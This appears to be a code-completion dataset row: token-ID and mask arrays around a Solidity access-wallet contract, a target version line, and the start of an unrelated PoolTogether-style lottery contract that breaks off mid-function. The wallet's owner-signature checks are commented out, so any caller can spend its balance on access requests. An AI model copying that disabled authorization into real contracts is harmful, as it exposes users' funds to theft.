-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
import {Ownable} from "./ownable.sol";
import {Accessible} from "./accessible.sol";
import {Container} from "./container.sol";
import {BaseContent} from "./base_content.sol";
import {BaseContentSpace} from "./base_content_space.sol";
import "./access_indexor.sol";
import "./transactable.sol";
/* -- Revision history --
BaseAccessWallet20190320114000ML: First versioned released
BaseAccessWallet20190506154400ML: Adds instantiation via factory, adds access indexing
BaseAccessWallet20190510151100ML: Supports modified getAccessInfo API
BaseAccessWallet20190528124400ML: Change base to be Accessible and Editable (thru Container)
BsAccessWallet20190611120000PO: State channel support
*/
// abigen --sol base_access_wallet.sol --pkg=contracts --out build/base_access_wallet.go
contract BaseAccessWallet is Accessible, Container, AccessIndexor, Transactable {
bytes32 public version = "BsAccessWallet20190611120000PO"; //class name (max 16), date YYYYMMDD, time HHMMSS and Developer initials XX
constructor(address content_space) public payable {
contentSpace = content_space;
}
function canConfirm() public view returns (bool) {
return canNodePublish(msg.sender);
}
function accessRequestMsg(
address content_address,
uint8 level,
string pke_requestor,
string pke_AFGH,
bytes32[] custom_values,
address[] stakeholders
) public pure returns (bytes32) {
return keccak256(abi.encodePacked(content_address, level, pke_requestor, pke_AFGH, custom_values, stakeholders));
}
function accessCompleteMsg(
address content_address,
uint256 request_ID,
uint256 score_pct,
bytes32 ml_out_hash
) public pure returns (bytes32) {
return keccak256(abi.encodePacked(content_address, request_ID, score_pct, ml_out_hash));
}
function contentAccessRequest(
address content_address,
bytes /*signature*/,
uint8 level,
string pke_requestor,
string pke_AFGH,
bytes32[] custom_values,
address[] stakeholders
) public returns (uint256) {
/*
//Signature should be valid for requested operation
bytes32 message = accessRequestMsg(content_address, level, pke_requestor, pke_AFGH, custom_values, stakeholders);
require(owner == recoverSignerFromMessage(message,signature));
*/
BaseContent content = BaseContent(content_address);
uint256 requiredFund;
uint8 visibilityCode;
uint8 accessCode;
(visibilityCode, accessCode, requiredFund) = content.getAccessInfo( level, custom_values, stakeholders);
require(visibilityCode == 0);
uint256 requestID = content.accessRequest.value((accessCode != 0) ? requiredFund : 0)(level, pke_requestor, pke_AFGH, custom_values, stakeholders);
return requestID;
}
function contentAccessComplete(
address content_address,
bytes /*signature*/,
uint256 request_ID,
uint256 score_pct,
bytes32 ml_out_hash
) public payable returns (bool) {
/*
//Signature should be valid for requested operation
bytes32 message = accessCompleteMsg(content_address, request_ID, score_pct, ml_out_hash);
require(owner == recoverSignerFromMessage(message,signature));
*/
BaseContent content = BaseContent(content_address);
return content.accessComplete(request_ID, score_pct, ml_out_hash);
}
// WIP - state channel support
// the most recent timestamp that has been recorded for this channel
// this only defines a flow of valid timestamps for the channel since it is the last timestamp that was recorded
// to the blockchain.
uint256 public currentTimestamp;
// TODO: not sure if this is necessary - there should be a default accessor for currentTimestamp?
function validateTimestamp(uint256 _ts) public view returns (bool) {
if (_ts > currentTimestamp)
return true;
return false;
}
function validateTransaction(uint8 _v, bytes32 _r, bytes32 _s, address _dest, uint256 _value, uint256 _ts)
public
view
returns (bool) {
bytes32 checkHash = keccak256(abi.encodePacked(address(this), _dest, _value, _ts));
address checkAddr = ecrecover(checkHash, _v, _r, _s);
if (checkAddr != owner) return false;
return true;
}
event ExecStatus(address guarantor, int code);
int public constant execStatusOk = 0;
int public constant execStatusNonceFail = 1;
int public constant execStatusBalanceFail = 2;
int public constant execStatusSigFail = 3;
int public constant execStatusSendFail = 4;
function execute(address _guarantor, uint8 _v, bytes32 _r, bytes32 _s, address _dest, uint256 _value, uint256 _ts)
external
returns (bool) {
BaseContentSpace spc = BaseContentSpace(contentSpace);
require(msg.sender == contentSpace || spc.checkKMSAddr(msg.sender) > 0);
require(spc.checkKMSAddr(_guarantor) > 0);
if (_ts <= currentTimestamp) {
emit ExecStatus(_guarantor, execStatusNonceFail);
return false;
}
if (address(this).balance < _value) {
emit ExecStatus(_guarantor, execStatusBalanceFail);
return false;
}
// this check should not really fail because the _guarantor should have at least validated the transaction before
// accepting it into a batch.
bool checkTrans = validateTransaction(_v, _r, _s, _dest, _value, _ts);
if (!checkTrans) {
emit ExecStatus(_guarantor, execStatusSigFail);
return false;
}
currentTimestamp = _ts;
// TODO: for a content access request there might be other data we want to pass ...?
bool sent = _dest.send(_value);
if (!sent) {
emit ExecStatus(_guarantor, execStatusSendFail);
return false;
}
emit ExecStatus(_guarantor, execStatusOk);
return true;
}
}
/* -- Revision history --
BsAccWltFactory20190506154200ML: First versioned released
*/
contract BaseAccessWalletFactory is Ownable {
bytes32 public version ="BsAccWltFactory20190506154200ML"; //class name (max 16), date YYYYMMDD, time HHMMSS and Developer initials XX
function createAccessWallet() public returns (address) {
return (new BaseAccessWallet(msg.sender));
}
}
|
class name (max 16), date YYYYMMDD, time HHMMSS and Developer initials XX
|
bytes32 public version = "BsAccessWallet20190611120000PO";
| 13,130,903 |
[
1,
4625,
348,
7953,
560,
30,
667,
508,
261,
1896,
2872,
3631,
1509,
26699,
8206,
5698,
16,
813,
20842,
8206,
1260,
471,
14526,
2172,
87,
1139,
60,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1731,
1578,
1071,
1177,
273,
315,
38,
87,
1862,
16936,
6734,
29,
7677,
2499,
2138,
2787,
2419,
14432,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.0;
import "openzeppelin-eth/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-eth/contracts/math/SafeMath.sol";
import "./compound/ICErc20.sol";
import "openzeppelin-eth/contracts/ownership/Ownable.sol";
import "kleros/contracts/data-structures/SortitionSumTreeFactory.sol";
import "./UniformRandomNumber.sol";
import "fixidity/contracts/FixidityLib.sol";
/**
* @title The Pool contract for PoolTogether
* @author Brendan Asselstine
* @notice This contract implements a "lossless pool". The pool exists in three states: open, locked, and complete.
* The pool begins in the open state during which users can buy any number of tickets. The more tickets they purchase, the greater their chances of winning.
* After the lockStartBlock the owner may lock the pool. The pool transfers the pool of ticket money into the Compound Finance money market and no more tickets are sold.
* After the lockEndBlock the owner may unlock the pool. The pool will withdraw the ticket money from the money market, plus earned interest, back into the contract. The fee will be sent to
* the owner, and users will be able to withdraw their ticket money and winnings, if any.
* @dev All monetary values are stored internally as fixed point 24.
*/
// WARNING: This contract will break if the amount of interest earned is negative (is that possible?).
contract Pool is Ownable {
using SafeMath for uint256;
/**
* Emitted when "tickets" have been purchased.
* @param sender The purchaser of the tickets
* @param count The number of tickets purchased
* @param totalPrice The total cost of the tickets
*/
event BoughtTickets(address indexed sender, int256 count, uint256 totalPrice);
/**
* Emitted when a user withdraws from the pool.
* @param sender The user that is withdrawing from the pool
* @param amount The amount that the user withdrew
*/
event Withdrawn(address indexed sender, int256 amount, int256 remainingTickets);
/**
* Emitted when the pool is complete. Total Winnings is unifixed.
*/
event DrawingComplete(int256 winningGroup, int256 totalWinnings);
struct Entry {
address addr;
// this may be unneeded and expensive but I'll optimize later
// it shows up twice: in the struct and as the key in users dict
string username;
int256 amount; // this is fixedPoint24
int256 ticketCount;
int256 totalWinnings; // this is fixedPoint24
int256 groupId;
// TODO: collectibles
}
struct PendingEntry {
address addr;
int256 amount; // fixedPoint24
int256 ticketCount;
}
struct Group {
address[] members;
// this are the members that are authorized to join the group
// every member has invite access
address[] allowedEntrants;
// ticketCount: computed from members in frontend
// amount: computed from members in frontend
}
bytes32 public constant SUM_TREE_KEY = "PoolPool";
bool public hasActivated = false;
// total principle
int256 private principleAmount; // fixed point 24
bytes32 private secretHash;
bytes32 private secret;
// total principle + interest
int256 private finalAmount; //fixed point 24
// winnings from previous draws that are unclaimed and therefore still in compound
int256 private unclaimedWinnings; // fixed point 24
// When new winnings are calculated in each drawing, the prize pool is calculated as
// finalAmount - unclaimedWinnings - principleAmount
// TODO: optimize
// We need to keep this... stored twice. Not pretty
// Needed to access the entry for msg.sender
mapping (address => Entry) private activeEntries;
// needed to invite by username
mapping (string => address) private users;
//mapping of groups
Group[] private groups;
mapping (address => PendingEntry) private pendingEntries;
// Needed to loops over pendingEntries in activateEntries
address[] pendingAddresses;
// TODO: decrement entryCount on full withdrawal
uint256 public entryCount;
ICErc20 public moneyMarket;
IERC20 public token;
int256 private ticketPrice; //fixed point 24
int256 private feeFraction; //fixed point 24
address private winningAddress;
int256 private winningGroup;
using SortitionSumTreeFactory for SortitionSumTreeFactory.SortitionSumTrees;
SortitionSumTreeFactory.SortitionSumTrees internal sortitionSumTrees;
/**
* @notice Creates a new Pool.
* @param _moneyMarket The Compound money market to supply tokens to.
* @param _token The ERC20 token to be used.
* @param _ticketPrice The price of each ticket (fixed point 18)
* @param _feeFractionFixedPoint18 The fraction of the winnings going to the owner (fixed point 18)
* @param _secretHash the secret hash for the first drawing
*/
constructor (
ICErc20 _moneyMarket,
IERC20 _token,
int256 _ticketPrice,
int256 _feeFractionFixedPoint18,
bytes32 _secretHash
) public {
require(address(_moneyMarket) != address(0), "money market address cannot be zero");
require(address(_token) != address(0), "token address cannot be zero");
require(_ticketPrice > 0, "ticket price must be greater than zero");
require(_feeFractionFixedPoint18 >= 0, "fee must be zero or greater");
require(_feeFractionFixedPoint18 <= 1000000000000000000, "fee fraction must be less than 1");
feeFraction = FixidityLib.newFixed(_feeFractionFixedPoint18, uint8(18));
ticketPrice = FixidityLib.newFixed(_ticketPrice);
sortitionSumTrees.createTree(SUM_TREE_KEY, 4);
secretHash = _secretHash;
moneyMarket = _moneyMarket;
token = _token;
unclaimedWinnings = FixidityLib.newFixed(0);
}
modifier hasEntry {
require(activeEntries[msg.sender].addr == msg.sender, "The user has not yet entered the game. Buy a ticket first.");
_;
}
modifier hasGroup {
require(activeEntries[msg.sender].addr == msg.sender, "The user has not yet entered the game. Buy a ticket first.");
require(activeEntries[msg.sender].groupId >= 0, "The user has not created or joined a group yet.");
_;
}
modifier isSolo {
require(activeEntries[msg.sender].addr == msg.sender, "The user has not yet entered the game. Buy a ticket first.");
require(activeEntries[msg.sender].groupId == -1, "The user is already in a group. They should leave before joining another.");
_;
}
function getUnclaimedWinnings() external view returns (int256) {
return FixidityLib.fromFixed(unclaimedWinnings);
}
/**
* @notice deletes the element at a given index from the array
* @param index the index to delte
* @param array the array to modify
* @author jmartinmcfly (copied from https://ethereum.stackexchange.com/questions/1527/how-to-delete-an-element-at-a-certain-index-in-an-array/1528)
*/
function _burn(uint256 index, address[] storage array) internal {
require(index < array.length, "Bad Index");
array[index] = array[array.length-1];
